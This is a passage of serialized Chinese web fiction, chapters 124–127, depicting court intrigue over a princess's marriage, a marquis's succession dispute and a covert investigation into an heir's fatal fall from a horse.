“嗯,我们会乖的,不会打扰大姐姐的。”这是八皇子的声音,“阿荧,我们去那边玩吧。” 两小只来了又走,主要还是因为今夜来了好些个与他们年龄相近的孩童,有些认识有些不认识,他们可好奇了,一晚上找这个找那个想要认识新小伙伴,与他们一道玩耍。过年过节最开心的莫过孩童,满殿的欢声笑语,孩童转来跑去嬉戏玩闹,玩累了就回到父母长辈身边喝口水吃点东西歇一阵。 宴席上,周贵妃独得一席,位在皇帝与皇后左下首的位置。看着孩童在她面前来来去去,难免眼热,但眼热只是其次,因为她并非无子无孙,只是大多都不在她身边罢了。逢年过节时,看着别人都有子孙辈承欢膝下,左抱一个右抱一个的,心里如何不羡慕和遗憾。 周贵妃的目光往上首主位皇后所在的席位投去一眼,纵是再精心保养也依旧在眼周留下细纹的眼睛之中闪过一抹嫉恨。就是因为椒房,她的儿子、孙子孙女们才不能回京同她团圆守岁。目光一转,她看向太子一家三口那边,心里冷哼,不过是病秧子一个,活不了多久的,有什么资格跟他的儿子争。她不会等太久的,迟早有一日,他们都会得偿所愿的。 “母妃。”身旁坐下的汝阳公主的轻唤声将周贵妃的思绪打断。 一看是女儿汝阳,周贵妃面上出现了温柔的神色,拿出帕子给她擦擦额头上冒出来的细汗,“怎么回来了,不同你悦表姐说话了?”她口中的“悦表姐”是越国长公主所生的小女儿骆悦,与汝阳公主的年纪相仿,平日里两个小表姐妹经常玩到一处去,感情很不错。 “说了一阵,看母妃一人独坐无趣,想过来陪陪母妃。”汝阳公主柔柔说道。 “阿娘的乖女儿。”周贵妃大为感动,将女儿揽进怀里。人都说女儿是最为贴心的,周贵妃一直深以为然。这些年儿子出京就藩,她是念着想着可是见不到,幸好还有女儿汝阳在身边给予她一点慰藉,否则这日子真不知道要如何过。 看着已经逐渐长成亭亭玉立、隐有绰约风姿的女儿,周贵妃难免要想到女儿的婚事。翻过年,女儿汝阳便虚岁十五了,这个年纪早该相看人家了。该给汝阳选一个什么样的驸马,最好是对儿子有利又能对女儿好的。她心中其实已经有几个合适的人选了,可最终还得是要陛下首肯才行,该如何让陛下答应呢? 一时之间,周贵妃开始暗暗发起愁来。 殿中同样为女儿婚事发愁的不只有周贵妃一个,郑妃也是如此。不过不同的是,周贵妃是为女婿的人选发愁,郑妃则是为女儿宜城与女婿的婚姻发愁。 除夕家宴,皇帝的后宫之中能够出席的妃嫔只有三人——周贵妃、郑妃以及刘妃,她们三人都有一个共同点——都为皇帝诞育了子嗣。周贵妃膝下有定安王与汝阳公主,郑妃膝下有宜城公主与山阳王,刘妃膝下则有七皇子与八皇子。 从家世出身来看,郑妃与刘妃皆是不如周贵妃的,尤其是刘妃,她能够封妃纯粹是因为她生下了两个皇子,否则她也是皇帝后宫之中谁也想不起的存在罢了。刘妃生性怯懦,身后又无母族势力扶持,即便生下两个皇子,可两个皇子年纪尚小,对于其他诞育有儿子的妃嫔来说构不成什么威胁,平日里她也老实,其余人犯不着与她为难,她的日子过得还算好。 郑妃与刘妃不太一样,她虽然没有能够生下两个皇子,可儿子却是已然封王,女儿宜城又受皇帝宠爱,自己母族也颇为得力,即便同在妃位,她向来是自诩比刘妃高贵的。只不过郑妃近两年来颇为烦躁,只因为女儿宜城与驸马的婚姻出了问题。两个人从成婚到现在才过了多久,从一开始的小吵小闹发展到今日的几乎见面就会吵,再这样下去,夫妻都要变成仇人了。 眼看着女儿宜城盯着不远处的女婿气得眼里直冒火的模样,郑妃一阵头疼,忍不住训斥道:“今夜除夕大好佳节的,你做这个样子给谁看?你父皇、荣王他们可都在这,当心他看到了训斥于你。” 这句话还是很有震慑力的。宜城公主畏惧地看了一眼不远处正与荣王、越国长公主忆往昔的皇帝,将脸上的怒容收敛了,但收得勉强不自如,近些瞧着还带着点狰狞。 “女婿又怎么惹着你了?”郑妃不用想就知道肯定小两口又吵架了。关键是平日里吵也就算了,也不看看现下是什么场合,这里是能吵架的地方么?“这人当初可是你选的,如今把日子过成这副模样,你让陛下看了怎么想?”- 作者有话说:更新了。 第124章 宜城公主 “是我不想好好过日子么?明明是贺文泓不想跟我好好过, 是他心野了”宜城公主几乎咬碎了一口银牙,看着不远处与人谈笑风生的贺二郎,很不得把人捉过来放嘴里咬碎了。 郑妃皱眉, “他还不肯放弃世子之位?” “他如何肯放弃?”宜城公主冷笑,“从前他就一直不服他长兄做世子,如今他长兄坠马而亡,好不容易等来这个机会,你叫他放手怎么可能甘愿。” 郑妃对当前的情况实在是头疼, 好端端的, 庆阳侯世子怎么就坠马而亡了。若非如此, 后面就整不出这么多事情来了。之前的局面一直都很和谐,女儿女婿即便是有吵闹那也是小夫妻拌两句嘴, 过后又好得跟蜜似的。哪像这回,谁都不肯让步, 好好的夫妻都快成仇人了。 “干脆遂了他的心意算了。”郑妃劝道,“他长兄亡故, 按着齿序本该轮到他当世子继承庆阳侯府, 你压着不让他去, 他心里如何能不怨你。日子久了,这怨恨难免不一日日加深,你们这夫妻还要不要做了,难不成和离,你愿意和离么?庆阳侯好歹也是开国武勋之一,日后他若是继承了庆阳侯的爵位,你出去面上也有光。” 其实不只是女儿宜城面上有光的事情,庆阳侯府家大业大,第一代庆阳侯又是随高皇帝打天下的老臣, 如今在朝野也是颇有势力,若是女婿做了庆阳侯世子,那么等同于将整个庆阳侯府都拉拢到他们这边来,如何不算是一件好事。 可是宜城不愿意,“如今只是为一个世子之位就敢跟我闹成这样,日后若真是让他当了庆阳侯,那岂不是要上天?他这辈子就只能老老实实地给我当驸马,别的想都不要想。” “你!”郑妃差点被女儿的态度气了个仰倒,好在她还记着当下的场合,说话都不敢太大声,更不用说喝斥女儿了,但还是忍不住训道,“你这脾气怎么这么硬呢,都是我太过宠溺于你了。女儿家就该柔顺些,贺二郎毕竟是你的夫君,哪个男人不喜欢妻子温柔小意的。” “我是君,他是臣,即便是要温柔小意也该是他对我而不是我对他。”宜城公主才不认可生母郑妃的这一套说法,“既做了驸马,享了这份富贵,那就应该尽好自己的义务,更不应该去想那些不该有的东西。” 郑妃被自己女儿的惊人发言气得胸口一阵翻腾,看宜城一副“根本不觉得自己有错”的模样,最终无力道:“我怎么养了你这么一个‘霸道’的女儿。” 霸道?宜城公主对生母郑妃的说法不以为然,她只是很清楚自己想要什么而已。 织庆殿之中人多,又有孩童往来嬉戏,大家忙着与人说话或是自己手上的事情,倒是没有多少人注意到郑妃与宜城这对母女之间的窃窃私语,但有些人一出现或是一凑到一起就免不了要吸引人的注意,尤其是今夜是家宴,能聚在这里的都算是百里氏的人。 既是自家人了,那么自家人知道自家事。宜城公主与驸马贺二郎这对夫妻这段时间闹出来的事情在场之人哪怕是不完全知晓,但多多少少也是有所耳闻的。虽然当面不问,但人多多少少都是有好奇心的。方才这对夫妻好好说这话,突然之间宜城公主自己气呼呼走了,这一幕可是被好些人看到了。 想来是这对夫妻又因为什么事情拌了嘴。不过没有人会上去问这种事情,毕竟今夜是除夕大好佳节,没有人愿意去问这等令人不愉快的事情。过节么,自然是维持和乐的氛围最为重要,其他的都要往后面放一放。 “醒了,来喝些水。”崔皇后发现手臂上的重量一轻,转眼一看是长女醒了,给她拿了一杯水解解渴。 百里澄道谢接过喝下,目光却看向不远处。 崔皇后循着她的目光看去,不由道:“宜城这两口子最近吵吵闹闹的,本以为已经缓和了,没想到还是这般。”身为皇后,既是一国之母,亦是百里氏一族的主母,崔皇后如何能没有听闻宜城与驸马贺二郎最近在闹些什么。 这件事情虽然表面上看只是宜城夫妻俩之间吵闹的事情,可实际上里面还牵扯着庆阳侯继承人的问题算是家事,牵扯到了前朝。即便这可以算是家事,其余人也不太好管。崔皇后可以出面去管,但这又何必呢,宜城又不是没有生母和兄弟的。 “原本一切都好好的,只可惜的是庆阳侯世子好端端地死了,只能说是天有不测风云风云了。”百里澄只分别看了宜城公主与贺二郎一会儿便移开了目光。 守岁是一个熬夜的活,并非是所有人都能够熬到那个时候的。织庆殿里的这群百里氏之人里不乏年事已高且多病的或是年纪小撑不住的孩童,一些人在向皇帝告罪获得恩准之后便离宫了。太子体弱多病,皇帝让太子一家三口先回东宫。阿荧却不走,说是要留下来陪祖母祖母一起守岁,只把帝后给乐的,抱在怀里就不撒手了。 除夕之后便是正旦。正旦当日不行朝议,但皇帝要在下午升殿接受百官的拜贺,晚间则有国宴宴请宗亲勋贵百官。春假连着十日,上至达官贵族下至平民百姓家家皆忙着走亲访友,整个湛京城热闹无比。城中开宵禁,夜晚满城的灯火将整座都城化作了一座不夜之城。 百里澄一连至初六之前不得闲,不仅仅是走亲访友,底下人的交际人情往来也要维护。各地官员亦要借着年节送礼之事向上面表示忠心或是走关系、打通关节,东宫为太子所居,椒房一脉的地位一日既往的稳固,下面想要攀关系找门路的人不知凡几。逢年过节的时候,无数的拜帖、贺礼似流水般地想要送进东宫的大门,可不是谁都能进去的,光是能将东西送到那道大门前都不容易。 能把贺礼送到东宫的门前是一种本事,能送进去又是另一种本事。这些事宜大多都由东宫詹事府负责处理,整理成名册后呈给太子过目。送来的贺礼不能来者不拒,但也不能都不收。东宫固然不缺这点钱,但有些贺礼是底下人送上来的心意,若是不收,难免会让人惴惴不安,容易多想。总得让下面人心稳住了,才能更好地办事。 “您要喝酒怎么不去奴家那酒肆,这肥水不流外人田啊。”湛京之中最大的酒楼之一春繁楼三楼的一处雅间里,师娘子嗔怪说道。她嘴上这么说,手上动作却一点也不含糊地给百里澄调了一杯味道醇香的酒出来奉上。 “春繁楼好歹在这湛京城之中屹立了几十年不倒的几大名楼之一,每日里客似云来,招待的大多都是勋贵名门,说是日进斗金都不为过。我带你来取取经,也看看人家是如何经营赚钱的。”百里澄接过师娘子的那杯酒,喝完之后又道,“瞧,这酒水的味道都尤为特别,怪不得整个湛京城里就数他家的酒水生意最好。” “何止是好,就连奴家的酒肆酒水供应不过来时也要向春繁楼购置呢。”师娘子说道。她看向这四周人来皆富贵、热闹繁盛之象,自己那个小酒肆如何能比。 在这湛京城之中做生意,背后没有靠山是做不长久的,若是还要做大做强,靠山不仅要越大越好,还得靠得住才行。似她这般的背后站着栎阳长公主,不过少有人知。不过如春繁楼这般家大业大的,知道的人就不少,人家背后站着的是少府,不然如何能够历经几十年风雨不倒。 师娘子心中不过是感慨一番罢了。但正如百里澄所言,春繁楼能够发展成这般规模,自然是有其独特之处的,来看看也好,说不定还真能取取经。 “行了,真以为是让你来取经的。辛苦了一年,也该犒劳犒劳自己了。今夜不想别的,尽情放松便是,今夜所有的费用都记我账上。”百里澄爽快道。 “主子大气,那奴家就不客气了。”师娘子喜笑颜开谢过之后,打开雅间招来春繁楼的伙计,重新上了一批菜色,上最好的酒,又给百里澄斟了一杯新酒,“本是想点春繁宴的,却怕浪费。不过这‘一点繁星’却不能错过了,心心念念好些时日了,今夜托您的福,也能不醉不归了。” 春繁宴与一点繁星都是春繁楼的金字招牌,湛京城之中一提起这名没有人不知道的。春繁宴是春繁楼最顶尖的宴席,席面上有一百零八道菜色,汇聚了天南海北的名菜,掌勺的皆是各色菜肴中的名厨,可想而知其中的厉害。 即便是在湛京城之中也没有多少人能够摆得起这样的一桌席面,这不仅仅是钱的问题,还有权势与地位。且还得提前预约,毕竟这一百零八道菜要做出来也不是那么容易的事情。以百里澄的地位自然是吃得起,只是师娘子是临时起意,现下要春繁楼去备一场春繁宴他们也忙不过来。 一点繁星则是春繁楼最好的陈酒,数量极为有限,轻易不对外出售,向来有“一两繁星一两金”的说法。 “你喜欢,尽管喝便是。”百里澄品尝着酒杯之中的一点繁星,让味蕾感受那股爽滑的感觉一路从舌尖炸开经过喉管再到胃里,与师娘子玩笑道,“总不能让你觉得我小气,哪天被人轻而易举地挖去了墙角,那时候该找谁哭去?”- 作者有话说:更新了,请评论[可怜] 第125章 世子之争 师娘子:“若真有那一日, 真正应该哭的人应当是奴家。必然是奴家那里做的不好竟让外人以为有墙角可挖。若是没了如您一般慷慨大方的主子效忠,奴家可真是不知道上哪哭去了。” 她们说着玩笑话,但又不完全只是玩笑话。 百里澄笃定师娘子离了她之后再也不会找到如她一般值得效忠之人, 她能够给别人都给不了师娘子的东西。她值得,师娘子亦值得。而师娘子自己也确信世上不会再有百里澄这样令人能够效死的主上了。她能够给自己所想象得到的,乃至自己想象不到的那些。 师娘子确信,这世上不会再有百里澄这样的人了。 两人举杯相碰,一切尽在不言之中。 正旦春假这段时日的湛京城无比的热闹, 尤其是夜里开了宵禁, 出门游玩之人是往日的数十倍之多, 街上熙熙攘攘,人头攒动, 四面八方传来各种欢呼喝彩的声音。 春繁楼之中更是热闹,一楼厅堂的正中央有舞姬翩翩起舞, 伴有伶人的鼓乐之声,各色说话声不断地传出, 有男有女, 乃至老少皆有。不过这湛京城之中能够来春繁楼饮宴的少说也得是饶有家资之人, 从衣着便能够看出富贵。楼层之中更是有不少女子穿行其中,身后亦有随从跟随,一看便知是出身权贵之家,几乎无人敢上前招惹。 百里澄与师娘子所在雅间在三楼,内里空间极是宽敞,居高临下,一面向内可俯视楼中景象,一面临窗向外可欣赏街景,乃至小半个湛京城的夜景都可以尽收眼底。这样的雅间注定了它很难订到, 不要说一般人便是一般的权贵都订不起,且它的私密性极好,里面之人想看清外面容易,外面之人想看清里面便很难了。 吃了点东西,肚中有了些饱腹感。百里澄与师娘子便泡了一壶茶坐到栏杆边位子凭栏品茶,俯视楼内景象,这一看还真叫她们看见不少叫得出名字之人。不过这也算不得稀奇,在这春繁楼里本就是容易遇见“熟人”的。 师娘子经营酒肆有一条就是为百里澄私底下收集情报的,以至于她习惯了观察人,观察人的行为举止以及神色表情,再由这些与他们的身份以及最近发生的事情进行联想。这个位置正好,方便她将下面的景象一一尽收眼底。 “瞧见什么有趣的,看得如此入迷,茶都要凉了。”百里澄提醒了一句,顺便问道。 师娘子瞥了一眼手上已经没了温度的茶水,重新倒了一杯喝下,“都说‘人生如戏,戏如人生’,每个人都是自己话本里的主角,场外的人皆是看客。看看别人无时无刻不在上演的戏,有时候觉得也挺有趣的。” “那这春繁楼里的戏台子可是不少,有瞧到什么格外有意思的么?” “还真有。”师娘子火眼金睛,伸手朝二楼熙攘的人群中一指,“您来瞧瞧,那二人奴家见的不多,不知自己认错与否?” “宜城的驸马。”百里澄顺着师娘子所指的方向看去,一眼便认出了其中一人,“他身边的人倒是有些眼熟。”只是有些眼熟,却没有到记住的程度。 “他是顾氏子顾晟开。”师娘子认得出宜城公主驸马贺二郎身边人的身份,别的不用多说,百里澄自己心中有数。 百里澄:“原来是他,贺二郎怎么与他走到一起了?” 顾氏在前朝时就是高门世族,但接连几代后继无出众之人让顾氏持续地衰落下去,若非如今的顾氏族长不知走了什么运道成为了定国公的妹婿,这顾氏早就被踢出湛京了。这顾晟开便是顾氏这一代的少主,只不过湛京之中没有人在意他顾氏少主的身份,人们更在意的是他“定国公唯一外甥”的身份。哪怕是百里澄此时记起这个人也是因为后者。 “奴家也是奇怪,但正是如此才有趣不是么?”师娘子说道。 两个原先没有多少交集以至于没有什么交情的人突然凑到了一起,让人见了难免不产生一点好奇心。可这一想也没什么值得奇怪的。庆阳侯府与定国公府都是武勋之家,当年都跟随过高皇帝乃至当今打天下,彼此之间有交情很正常。他们一个是定国公的外甥,一个是庆阳侯的次子,有交往也不是什么难以理解的事情。 旁人即便看到了,认出了他们,理所当然会这么想。但师娘子特意在百里澄面前点出来,这个事情就不能这么想了。 主要是庆阳侯府最近闹出的事情到现在还没有一个结果,如今眼见事件中心的人物之一,他的一点点反常都值得注意。而顾晟开也不太对劲,准确来说不是他不对劲,是他背后的顾氏与定国公府之间出现了不太寻常的情况,两家之间似乎变得生分了。虽然有些不可思议,但事实就是如此。 顾氏是个什么情况大家都看在眼里,因为也能理解定国公多年来对胞妹以及外甥的照拂。但突然有一日,大家发现定国公府似乎不愿意照拂顾氏了。人们的这一发现从来都是后知后觉的,是因为大家发现似乎有很长一段时间,定国公夫人与小姑子顾夫人颜氏很久没有在一起出现过了,即便是见着面了,气氛也不如之前火热了。 很显然,这两家之间明显是发生了什么事情造成了当下的局面。可即便是有心打探,最终也没有打探到什么有用的消息,反而更让人心痒痒了。 “有迹可循少说也在中秋之前了。”涉及到定国公府,师娘子自然多留了几份心。中秋佳节,如此特殊的节日,顾氏与定国公府只是相互过了礼,如同往年那样两家人坐在一起热热闹闹地吃饭却是没有了。 这已经足够说明问题了。 定国公府与顾氏之间必然是产生了什么不为人知的嫌隙,否则两家之间断不会如此生分。而产生这等嫌隙的由来绝不该是两家因彼此相处之中的摩擦导致的,因为两家之间的生分隐隐有种割席的感觉。致使顾氏与定国公府割席,让定国公对自己的胞妹以及外甥产生厌恶,那该是何等要紧之事? 外人不得而知,两家的消息都捂得很紧实。 现在回过头再来看,只会更让人好奇贺二郎与顾晟开之间的关系。毕竟,与庆阳侯府有交情的是定国公府,而不是与定国公府已然生分了的顾氏。 现下再回过头来看贺二郎与顾晟开,这里面就很值得深究了。素无往来的两方,有一日突然有了交情,必然是有一方主动,另一方顺势而为。只是如今来看,就是不知道是哪一方主动了。 “这确实有趣,就是不知道我那二妹妹知不知道贺二郎做的这事了。”看着贺二郎与顾晟开的身影走入二楼的一间雅间里消失在视野之中,百里澄眼眸之中闪过一抹思索之色。 知道还是不知道,这其中的区别可是很大的。 师娘子敛眸,收回目光看向了杯中黄褐色的茶水面映出的自己的影子。 若是宜城公主知道自家驸马结交顾晟开之事,那么此事背后就少不了她乃至是山阳王的授意或是默许;可若是不知道,那么这件事情无疑就更有趣了。 师娘子没有主动说什么,毕竟这件事情涉及到百里澄的兄弟姐妹,那些地位尊贵的天潢贵胄,要怎么做需要百里澄自己发话才行。 “我记得,庆阳侯世子前几个月坠马而亡了吧。”百里澄突然问道,“这人好端端的,怎么突然就坠马了。” 师娘子瞬间就明白百里澄的意思了,“我私下里找人去查一下。” 此前庆阳侯世子坠马而亡之事在湛京城里引起了不小的热议,毕竟涉及到了一开国侯府,死的人还是世子,素日里又无病无灾的,骤然出了祸事直接就没了,实是令人唏嘘。师娘子关注过一阵子,后续听说庆阳侯将当日伺候庆阳侯世子的人全部发落了,看来是认定世子之死是一个意外了。 师娘子当时并没有就这件事情而主动去做什么,湛京城之中高门勋贵可以说是遍地走,隔一段时间就有死人的,若是有点什么事情就要派人去查一遍,精力人手也不够用。但那是以前,现在确实有必要去好好查一查庆阳侯世子之死这件事情里面有没有什么猫腻。 虽然对于庆阳侯世子本人来说,死了就一了百了,可对于活着的人来说,这件事情还远远没有结束。这死的人是世子,他不仅仅是庆阳侯的儿子,他还是庆阳侯府未来的继承人。如今庆阳侯世子之位空悬,由此引发的风波可不算小,没看贺二郎也因为此事与宜城公主都闹起来了。 庆阳侯与其妻共诞育有三个儿子,长子为世子,次子便是宜城驸马贺二郎贺文渐,幼子年仅十二岁,按照嫡庶长幼来论,这世子之位都应该轮到贺二郎了。 这本该是一件理所应当的事情,可现实的情况是庆阳侯至今也没有上奏皇帝请立世子。很显然,有人不愿意贺二郎做这个世子,目前可以明确的一个是贺二郎的妻子宜城公主。至于庆阳侯本人怎么想,现在还不得而知。 其实宜城公主的不允在很多人看来是很不可思议的。之前丈夫的长兄做着世子,庆阳侯府偌大的家业自与夫妻俩无关。可长兄突发意外身亡,世子之位触手可及,宜城公主却不要,也不允许贺二郎去拿。这无异于天上掉馅饼直接砸到面前却不伸手去捡- 作者有话说:更新了,求评论[可怜] 第126章 世子之争 续 况且世子之位涉及的可不仅仅是家业钱财的问题, 还有一个世袭罔替的爵位,还有背后所代表的晋身之阶以及权势。钱可以不要,权势和地位呢?世人汲汲营营一生, 为的不就是这些以及子孙后代么?如今眼看着一切可以到手,竟然有人不想要的。那些个子孙多的有爵之家,为一个爵位争得头破血流的比比皆是。 师娘子不知道宜城公主是怎么想,毕竟她对宜城公主并不了解,或许主子会知道一些。 “这些事情往后放一放, 总不能让大家伙春假也不得闲。”百里澄转身拿了一壶酒给师娘子满上, 让师娘子想些别的, “看看春繁宴单子上有什么喜欢的,让春繁楼做了装好带回去。今晚整桌春繁宴是吃不到了, 这些还是能有的。” …… 师娘子的动作还是很快的,春假刚过便将庆阳侯世子之死的调查结果拿给了百里澄。 百里澄:“这么说, 庆阳侯世子的死没有问题?” 师娘子对此不置可否,只就查到的东西说道:“庆阳侯世子是好马之人, 在出事之前手底下的人献给他一匹好马, 只是野性难驯, 驯了好长一段时间也未能成。出事那日,庆阳侯世子不听劝阻非要自己亲身上去驯马,那马也是烈性,任由如何抽打都不肯屈服,一路带着庆阳侯世子狂奔,过程中庆阳侯世子不慎坠马,滚下山坡,撞上凸起的坚石,最终因伤重不治而亡。” “出事之后庆阳侯怎么说?” 一个年轻力壮、平日里无病无灾的儿子, 还是世子的长子突然就死了,正常人都得怀疑这其中是不是有什么阴谋诡计。 死了一个寄予厚望的世子,庆阳侯的悲痛可想而知,他在看到儿子尸体的当日就下令去查,手段尤为酷烈,侯府之中与之相关的仆从或是或残,被发卖出去的也不在少数。 师娘子:“庆阳侯将与那烈马有关之人通通抓来拷问,直接用了大刑,打到说实话、招了为止。但最终也没有查出什么,没有人投毒也没有人对马动手脚,世子之死系意外。” 她心中有一股哀痛与愤怒,为那些因为庆阳侯世子之死而牵连进去被活活打死的仆从。即便庆阳侯世子之死是有人阴谋所为,可那些被抓起来严刑拷问的仆从更多的是什么都不知道,他们没有“实话”可以招供,只能被活活打死。 庆阳侯不在乎那些仆从的死活,他只知道自己的儿子死了,而这些伺候的人护主不力,即便死了也是应当的。这是迁怒也是发泄。 师娘子多少有些物伤其类,因为在遇见百里澄之前,她的境遇也没有好到哪里去。 “当真是意外么?”百里澄喃喃自语,旋即轻笑一声,“不管是不是意外,庆阳侯已经将它当做意外处理了。” 她们是后来才去查的这件事,与之有关的人和物都已经是庆阳侯严查并处理过之后的,以她们手头上查到的东西来看,怎么看都只是意外。 现在庆阳侯府自己都将事情定性为意外,那它就真的只是一个意外。可是因为这个意外,向来安定平稳的庆阳侯府之内生了波浪,这浪不平还有愈来愈凶猛的趋势。 长子死了,庆阳侯还有正妻所生的次子与幼子,世子之位怎么着都是要落在二者之一身上的,二择一,非此即彼,看似容易抉择其实最是艰难。因为除此之外再无他选,也因为要真正落实下去并不容易。 百里澄觉得很有意思的一件事情是,“连庆阳侯本人都是属意幼子为世子的。” 师娘子在看到这一项时也觉得有些神奇,但多少也能理解。 庆阳侯的幼子如今才十二岁,比起已经成年的次子,年纪实在是太小了,未来的不确定性太多,也因此立幼主向来不为人所倡。可这对庆阳侯来说不算问题,他如今还在盛年,一顿还能吃五碗饭,无病无灾的情况下少说也还能再活二十年。这二十年足够他把幼子培养成人并继承庆阳侯府了。 关于这一点更有趣的是,庆阳侯一开始并没有把自己真正的心意表露出来,谁也不知道他想要绕过次子立幼子。 如今宜城公主不愿贺二郎为世子,两方僵持到现在,庆阳侯才提出立幼子为世子,其妻已然动摇了。毕竟,对于庆阳侯夫人来说,两个都是儿子,手心手背都是肉,次子需要疼爱,幼子更需要疼爱,况且次子已经尚了公主,至少三代的荣华富贵是少不了的,这世子之位若不给幼子,那幼子真是啥也没分到,岂不可怜。 谁都有自己的心思,只是可怜贺二郎,在这场拉锯战之中渐落下风,连原本真心实意站他那边的母亲庆阳侯夫人都被庆阳侯说服着转换了阵营。哪怕到了现在,贺二郎都不知道自己父亲一开始就没有选他,不仅没有选他,还在一开始就假意表示要选他。 “我这二妹夫还真是可怜,竟然被亲爹骗得团团转。”百里澄眸光清冷如冰,“更可怜的是我那二妹妹,坏人全都让她来做了,反倒是成全了庆阳侯一家子的和睦。” 不得不说,庆阳侯的算盘打得可真是好。他是想选次子的,可是这不是宜城公主不让么?没有办法,这事情不能一直僵着,世子怎么都是要立的,他只能退而求其次地选了次子。庆阳侯这一招还真是阴损,日后贺二郎要怨只会怨宜城公主,自己摘了个干净。 师娘子当即明白了百里澄的意思,“奴家之后就去找些‘好心人’让蒙在鼓里的贺驸马知晓真相的。” 宜城公主固然是不许贺二郎为庆阳侯世子,但不许的人又不止她一个,凭什么被人的黑锅她也要背着,未免有失公平了。好歹是自己的妹妹,百里澄怎么能眼看着她受自己不该受的委屈和怨恨。 其实也不难猜想庆阳侯为何会如此抉择,无非是不想让庆阳侯府卷入储位之争中去。今上继位之初发生的庶人湛逆乱之事以及后续的血色清洗吓破的岂止是庆阳侯府这一家的胆,那被血洗的几家公府侯府只怕至今还是这些开国勋贵笼罩在心头的阴霾,又有多少当年之事的亲历者还敢参与到储位之争之中。 从龙之功固然好,成者甚至可一步登天,位极人臣;可若是不成,那可真就是跌落极狱,满门上下尽是人头滚滚了。 庆阳侯已然是世袭罔替的超品侯爵了,只要后代子孙不做那犯上谋逆之事、犯下十恶不赦的大罪,世代皆可保得富贵尊荣,何必冒着巨大的风险去寻求那从龙之功。他是不想沾染与皇子、诸侯王有关的事情,可是世事无常,天不遂人愿,先是次子被天家招为了驸马,之后身为世子的长子好端端地突然就没了,如今为着世子的人选,搅弄得侯府都是一团乱麻。 “如今的情况对贺二郎极为不利,他怕也是急了。”师娘子忖道。 贺二郎若是不在乎这世子之位也不至于与妻子宜城公主将夫妻关系闹成现在这般冰冷僵硬。可就目前的局面而言,贺二郎属实没有多大的胜算,若是不想些方法寻求外援,他就只能眼睁睁地看着这世子之位落到那个年仅十二岁的幼弟手里了。 想来贺二郎结交顾晟开也是为达成此目的。可是一个顾晟开还不够,顾氏式微还不够看,顾晟开唯一值得人高看一眼的便是他作为定国公外甥的身份,可想要通过顾晟开拉拢他身后的定国公府,又有点过于高看顾晟开在定国公府那边的份量了。况且以定国公历来的行事来看,他是不可能插手别家爵位更替传代之事的。 如果贺二郎结交顾晟开不是为了世子之位,那他是为了什么,又或者是、为了谁? 师娘子也想到了这一点,最直接生出来的念头则是山阳王。山阳王为宜城公主同母弟,又是皇嗣之中封诸侯王者,他若是有心思争位,以世子之位为诺让身为姐夫的贺二郎为他结交可用之人、拉拢人心也未尝不可。 可凡事有常理就有非常理,现下还不好轻易下判断的。 百里澄心下沉吟,暂时不在贺二郎身上纠结,问起了另一人,“那顾晟开是怎么回事?” “顾晟开原本与贺二郎无甚交情往来,两人是这几月突然热络起来的。”师娘子既然去查了贺二郎与庆阳侯府就不会单单只查二者而忽略了顾晟开,“顾晟开为南衙校尉,此前一直过得顺风顺水,近来却不太好过。南衙那边挑了他一个错处,将原先属意于他的拔擢给了另一人。” 南衙北司都可算是天子亲军,一般人想要进入其中任职何其艰难。顾晟开这般年纪能够进入南衙还为校尉,除了他自身的本事过硬之外,定国公府在背后给予他的支持也不可缺少。从校尉再往上升,以顾晟开的年纪,日后说不得也能做到那南衙之首。可他这次的晋升被断了,很难说不是因为定国公府与顾氏生隙之故。 如今贺二郎与顾晟开这两个“失意”之人凑到一起,当真只是因为惺惺相惜、相互慰藉么? “风雨欲来,到底是越来越多的人也都按捺不住了。”百里澄负受远眺着天际的层云滚滚,心中也微微沉了下去,她吩咐师娘子,“这事远没有到结束的时候,再使人盯着。” “是,属下省得。”师娘子应道- 作者有话说:更新了,求评论[可怜] 第127章 江都国学 湛京的风暂时还吹不到江都, 百里漾颜漪过了一个舒舒服服的新年。今年乃是兴业十四年,皇帝依旧不准诸侯王正旦来朝,但正旦之前皆派遣有天使前往各诸侯国宣诏颁下赏赐。虽然对不能回湛京有些小小的失落, 但这情况也在意料之中,过后百里漾也能释然。 同样不能与家人一道过年的还有颜漪,她与百里漾不一样,百里漾是早习惯了的,可颜漪确实头一年离家不得回去, 哪怕她平日里没有怎么表现出来, 百里漾也能感受到她是想家的, 偶尔还会有些伤怀。 百里漾不知道如何劝慰,毕竟这等对故土亲人的思念只会随着岁月流逝而愈加深厚, 只有消去了分离的障碍才能消除。这个问题暂时是没有办法解决的,百里漾不愿意给出自己没有办法兑现的承诺, 否则话说出口便与谎言无异了。 避免因思念而伤怀的有效法门之一便是转移注意力,正好春假有相当长的一段时日, 期间不会有什么要紧的大事需要百里漾亲自处理不可, 他便闲了下来, 陪着颜漪处理了几日王宫中的事务后,见也无甚大事,便邀她一道出游。计划是好的,但真正出行时又晚了两日,竟是过了春假的次日才成行。 天公作美,出行的那日是个晴日。 一辆乌顶赤金马车从王宫门前缓缓而出,值守的侍卫在看到马车内伸出一只手出示的一枚令符之后,不敢多问也不敢耽误,直接放了行。出了宫门之后, 马车径直往南走,在一处街口左拐,继穿过两个住宅区之后,又行一段路,最终在一处阔然门庭前停住。 “我们到了。” 自马车内跳下一名年轻郎君,锦衣玉冠,长身玉立,让人见之就联想到山间昂然挺立的青竹。这郎君不仅气质佳,五官亦是清俊非凡,眉眼温润,此刻言笑晏晏,正伸手扶出一名年轻女子。此处门前道路宽阔,不时有行人或车马行过,有人偶然一瞥,登时有惊见天人之感。因视角所限,那女子只得见一张侧颜,也觉如皓月皎白,清逸之姿,非常人所能及。 路过之人不得见全貌,此处府邸门前守卫却是看得真切,暗暗吸一口气后也不敢多看。他们能在此处值守,以往见过的达官贵族不不少,眼力早就锻炼出来了,登时就意识到这一对年轻男女绝非凡俗之辈,通神的光华气度实乃平生仅见。 这马车在门前停下,看架势二人必是要往此处府邸而来的。守卫不敢妄动,谨记自己的职责,只将注意力落在这一对年轻男女身上。 “夫君今日要带我前来的便是此处么?”颜漪看向前方府邸悬挂的匾额之上所书“江都国学”,目光停留了几瞬,随后转看向百里漾,莞尔问道。 “江都城中大多数地方我们已走过一遍,余下的便是这江都国学。”百里漾笑着解释道,“春假过后正好是国学开课学子入学的好时候,今日正好是开课的头一日,想必热闹,我们过来凑个人数也不算得无趣。” “讲学么?那确实不能算是无趣。”颜漪颇感兴趣,左右顾视发现江都国学并无人员出入,不由问道,“今日不知是哪位经师讲课?” “应当是郑经师。”百里漾回想了一下,“今日是春假后正式开课的日子,他是诸讲课师傅之长,按照惯例,今日当是由他开卷行第一讲。” 